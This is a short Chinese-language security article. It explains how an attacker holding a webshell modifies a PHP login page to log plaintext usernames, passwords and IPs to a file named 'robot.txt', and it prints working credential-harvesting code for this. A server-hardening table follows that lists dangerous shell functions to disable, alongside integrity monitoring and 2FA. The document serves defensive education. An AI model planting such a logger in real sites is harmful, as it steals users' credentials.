本文僅說明攻擊原理以利防禦,**嚴禁**用於非授權系統滲透、竊取帳號等非法行為。請遵守當地法律法規與網路安全道德規範。
攻擊者取得 Webshell 後,修改登入頁面(或通用包含檔),在密碼驗證邏輯前插入記錄代碼,將明文帳密寫入日誌檔。
<?php
if (isset($_POST['loginsubmit'])) {
$log = "user:{$_POST['username']}--pass:{$_POST['password']}--ip:{$_SERVER['REMOTE_ADDR']}--time:" . date('Y-m-d H:i:s') . "\n";
@file_put_contents('robot.txt', $log, FILE_APPEND | LOCK_EX);
}
// 原本的驗證邏輯繼續執行...
?>
action 指向的檔案(如 logging.php)username、password| 層面 | 措施 |
|---|---|
| 伺服器 | 禁用危險函式 exec,system,shell_exec,passthru,popen,proc_open,com_load_typelib;開啟 open_basedir 限制目錄存取 |
| 應用程式 | 檔案完整性監控(Tripwire/AIDE)、定期比對核心檔案雜湊、WAF 規則攔截可疑寫入 |
| 認證 | 雙因子驗證 (2FA)、登入失敗鎖定、異地登入提醒、密碼加鹽雜湊 (bcrypt/argon2) |
| 運維 | 最小權限原則、Web 目錄不可寫入、定期掃描 Webshell、日誌審計 |